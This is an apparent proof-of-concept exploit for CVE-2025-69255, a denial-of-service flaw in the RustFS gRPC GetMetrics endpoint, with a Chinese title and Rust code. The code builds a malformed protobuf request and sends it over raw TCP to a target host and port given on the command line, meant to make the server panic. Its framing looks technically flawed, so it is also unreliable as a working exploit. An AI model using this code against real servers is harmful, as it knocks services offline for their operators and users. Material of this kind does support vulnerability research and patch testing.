CVE-2025-69255 RustFS gRPC GetMetrics请求反序列化拒绝服务漏洞

// CVE-2025-69255 PoC - Malformed gRPC GetMetrics Request // Target: RustFS gRPC metrics endpoint // Effect: Denial of Service via unwrap() panic use tonic::Request; use prost::Message; // Malformed GetMetrics request that triggers panic fn create_malformed_request() -> Vec<u8> { // Craft a protobuf message with invalid metric_type/opts // This will cause unwrap() to fail during deserialization let malformed_data = vec![0x08, 0xFF, 0x12, 0x00]; // Invalid encoding malformed_data } // Alternative: Send partial/corrupted protobuf fn send_malformed_grpc_request(target: &str, port: u16) { use std::net::TcpStream; use std::io::{Write, Read}; // gRPC request framing for GetMetrics let mut request = Vec::new(); // gRPC headers request.extend_from_slice(&[0x00, 0x00, 0x00]); // Compression flag + message length placeholder request.push(0x0A); // Field 1: metric_type (varint, malformed) request.push(0xFF); // Invalid varint request.extend_from_slice(&[0x12, 0x00]); // Empty opts field // Update length let len = request.len() - 3; request[0] = (len >> 16) as u8; request[1] = (len >> 8) as u8; request[2] = len as u8; // Connect and send if let Ok(mut stream) = TcpStream::connect(format!("{}:{}", target, port)) { let _ = stream.write_all(&request); } } fn main() { let target = std::env::args().nth(1).unwrap_or("127.0.0.1".to_string()); let port: u16 = std::env::args().nth(2).and_then(|p| p.parse().ok()).unwrap_or(50051); println!("Sending malformed GetMetrics request to {}:{}", target, port); send_malformed_grpc_request(&target, port); println!("Request sent. Target should panic if vulnerable."); }